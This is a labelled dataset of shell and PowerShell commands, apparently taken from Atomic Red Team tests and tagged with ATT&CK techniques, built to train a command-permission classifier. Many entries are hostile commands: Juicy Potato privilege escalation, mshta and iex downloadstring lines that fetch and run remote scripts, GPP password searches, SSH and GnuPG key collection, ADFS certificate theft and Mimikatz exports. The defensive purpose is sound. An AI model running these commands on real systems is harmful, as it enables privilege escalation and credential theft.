cowWhySo/permission-command-corpus huggingface dataset:
Command: taskkill /f /im notepad.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.001
Platform: windows
ATT&CK tags: T1134.001
Source rule: Bad Potato
Notes: https://github.com/BeichenDream/BadPotato
Privilege escalation using named pipe connections
Command: cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.001
Platform: windows
ATT&CK tags: T1134.001
Source rule: Juicy Potato
Notes: This Atomic utilizes Juicy Potato to obtain privilege escalation. 
Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions.
This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)
Command: get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.001
Platform: windows
ATT&CK tags: T1134.001
Source rule: Juicy Potato
Notes: This Atomic utilizes Juicy Potato to obtain privilege escalation. 
Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions.
This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. 
[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)
Command: mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
Notes: Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.
Command: mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Mshta executes VBScript to execute malicious command
Notes: Run a local VB script to run local user enumeration powershell command.
This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.
Upon execution, a new PowerShell windows will be opened that displays user information.
Command: $var =Invoke-WebRequest "#{hta_url}" $var.content|out-file "#{temp_file}" mshta "#{temp_file}" start-sleep -s 15 stop-process -name "calculator" -Force -ErrorAction Ignore stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Mshta Executes Remote HTML Application (HTA)
Notes: Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
Command: remove-item "#{temp_file}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Mshta Executes Remote HTML Application (HTA)
Notes: Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
Command: Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement
Notes: Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.
Command: Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Invoke HTML Application - Jscript Engine Simulating Double Click
Notes: Executes an HTA Application using JScript script engine simulating double click.
Command: Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Invoke HTML Application - Direct download from URI
Notes: Executes an HTA Application by directly downloading from remote URI.
Command: Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler
Notes: Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.
Command: Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Invoke HTML Application - JScript Engine with Inline Protocol Handler
Notes: Executes an HTA Application with JScript Engine and Inline Protocol Handler.
Command: Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Invoke HTML Application - Simulate Lateral Movement over UNC Path
Notes: Executes an HTA Application with Simulate lateral movement over UNC Path.
Command: mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}"""))</script>'"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.005
Platform: windows
ATT&CK tags: T1218.005
Source rule: Mshta used to Execute PowerShell
Notes: Use Mshta to execute arbitrary PowerShell. Example is from the 2021 Threat Detection Report by Red Canary.
Command: findstr /S cpassword %logonserver%\sysvol\*.xml
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.006
Platform: windows
ATT&CK tags: T1552.006
Source rule: GPP Passwords (findstr)
Notes: Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.
Command: . "#{gpp_script_path}" Get-GPPPassword -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.006
Platform: windows
ATT&CK tags: T1552.006
Source rule: GPP Passwords (Get-GPPPassword)
Notes: Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.
This test is intended to be run from a domain joined workstation, not on the Domain Controller itself.
The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found".
Command: Get-CimInstance -Query "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1592.001
Platform: windows
ATT&CK tags: T1592.001
Source rule: Enumerate PlugNPlay Camera
Notes: Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor
Command: xattr -d com.apple.quarantine #{app_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.001
Platform: macos
ATT&CK tags: T1553.001
Source rule: Gatekeeper Bypass
Notes: Gatekeeper Bypass via command line
Command: for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: linux,macos
ATT&CK tags: T1046
Source rule: Port Scan
Notes: Scan ports to check for listening ports.

Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command: sudo nmap -sS #{network_range} -p #{port} telnet #{host} #{port} nc -nv #{host} #{port}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: linux,macos
ATT&CK tags: T1046
Source rule: Port Scan Nmap
Notes: Scan ports to check for listening ports with Nmap.
Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command: nmap #{host_to_scan}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: windows
ATT&CK tags: T1046
Source rule: Port Scan NMap for Windows
Notes: Scan ports to check for listening ports for the local host 127.0.0.1
Command: python "#{filename}" -i #{host_ip}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: windows
ATT&CK tags: T1046
Source rule: Port Scan using python
Notes: Scan ports to check for listening ports with python
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') spoolvulnscan -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: windows
ATT&CK tags: T1046
Source rule: WinPwn - spoolvulnscan
Notes: Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') MS17-10 -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: windows
ATT&CK tags: T1046
Source rule: WinPwn - MS17-10
Notes: Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') bluekeep -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: windows
ATT&CK tags: T1046
Source rule: WinPwn - bluekeep
Notes: Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') fruit -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: windows
ATT&CK tags: T1046
Source rule: WinPwn - fruit
Notes: Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command: docker build -t t1046 $PathToAtomicsFolder/T1046/src/ docker run --name t1046_container --rm -d -t t1046 docker exec t1046_container /scan.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: containers
ATT&CK tags: T1046
Source rule: Network Service Discovery for Containers
Notes: Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.
Command: docker stop t1046_container docker rmi -f t1046
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: containers
ATT&CK tags: T1046
Source rule: Network Service Discovery for Containers
Notes: Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.
Command: Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: windows
ATT&CK tags: T1046
Source rule: Remote Desktop Services Discovery via PowerShell
Notes: Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command: nmap -Pn -sV -p #{port_range} #{host}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1046
Platform: linux,macos
ATT&CK tags: T1046
Source rule: Port Scan using nmap (Port range)
Notes: Scan multiple ports to check for listening ports with nmap
Command: dir c:\ /b /s .key | findstr /e .key
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: Private Keys
Notes: Find private keys on the Windows file system.
File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
Command: find #{search_path} -name id_rsa 2>/dev/null >> #{output_file} exit 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: linux,macos
ATT&CK tags: T1552.004
Source rule: Discover Private SSH Keys
Notes: Discover private SSH keys on a FreeBSD, macOS or Linux system.
Command: rm #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: linux,macos
ATT&CK tags: T1552.004
Source rule: Discover Private SSH Keys
Notes: Discover private SSH keys on a FreeBSD, macOS or Linux system.
Command: mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \; exit 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: linux
ATT&CK tags: T1552.004
Source rule: Copy Private SSH Keys with CP
Notes: Copy private SSH keys on a Linux system to a staging folder using the `cp` command.
Command: rm -rf #{output_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: linux
ATT&CK tags: T1552.004
Source rule: Copy Private SSH Keys with CP
Notes: Copy private SSH keys on a Linux system to a staging folder using the `cp` command.
Command: mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: linux
ATT&CK tags: T1552.004
Source rule: Copy Private SSH Keys with CP (freebsd)
Notes: Copy private SSH keys on a FreeBSD system to a staging folder using the `cp` command.
Command: mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \; exit 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: macos,linux
ATT&CK tags: T1552.004
Source rule: Copy Private SSH Keys with rsync
Notes: Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.
Command: mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: linux
ATT&CK tags: T1552.004
Source rule: Copy Private SSH Keys with rsync (freebsd)
Notes: Copy private SSH keys on a FreeBSD system to a staging folder using the `rsync` command.
Command: mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \; exit 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: macos,linux
ATT&CK tags: T1552.004
Source rule: Copy the users GnuPG directory with rsync
Notes: Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command.
Command: mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: linux
ATT&CK tags: T1552.004
Source rule: Copy the users GnuPG directory with rsync (freebsd)
Notes: Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command.
Command: Import-Module AADInternals -Force Export-AADIntADFSCertificates Get-ChildItem | Where-Object {$_ -like "ADFS*"} Write-Host "`nCertificates retrieved successfully"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: ADFS token signing and encryption certificates theft - Local
Notes: Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Command: Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: ADFS token signing and encryption certificates theft - Local
Notes: Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
Command: IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: CertUtil ExportPFX
Notes: The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/cod
Command: Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: CertUtil ExportPFX
Notes: The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/cod
Command: $mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: Export Root Certificate with Export-PFXCertificate
Notes: Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.
Command: try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: Export Root Certificate with Export-PFXCertificate
Notes: Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.
Command: $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: Export Root Certificate with Export-Certificate
Notes: Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.
Command: try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: Export Root Certificate with Export-Certificate
Notes: Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.
Command: "#{mimikatz_exe}" "crypto::certificates /systemstore:local_machine /store:my /export" exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.004
Platform: windows
ATT&CK tags: T1552.004
Source rule: Export Certificates with Mimikatz
Notes: The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.
Command: cp #{payload} /tmp/hello.c sudo chown root /tmp/hello.c sudo make /tmp/hello sudo chown root /tmp/hello sudo chmod u+s /tmp/hello /tmp/hello
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: macos,linux
ATT&CK tags: T1548.001
Source rule: Make and modify binary from C source
Notes: Make, change owner, and change file attributes on a C source code file
Command: sudo rm /tmp/hello sudo rm /tmp/hello.c
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: macos,linux
ATT&CK tags: T1548.001
Source rule: Make and modify binary from C source
Notes: Make, change owner, and change file attributes on a C source code file
Command: cp #{payload} /tmp/hello.c chown root /tmp/hello.c make /tmp/hello chown root /tmp/hello chmod u+s /tmp/hello /tmp/hello
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1548.001
Platform: linux
ATT&CK tags: T1548.001
Source rule: Make and modify binary from C source (freebsd)
Notes: Make, change owner, and change file attributes on a C source code file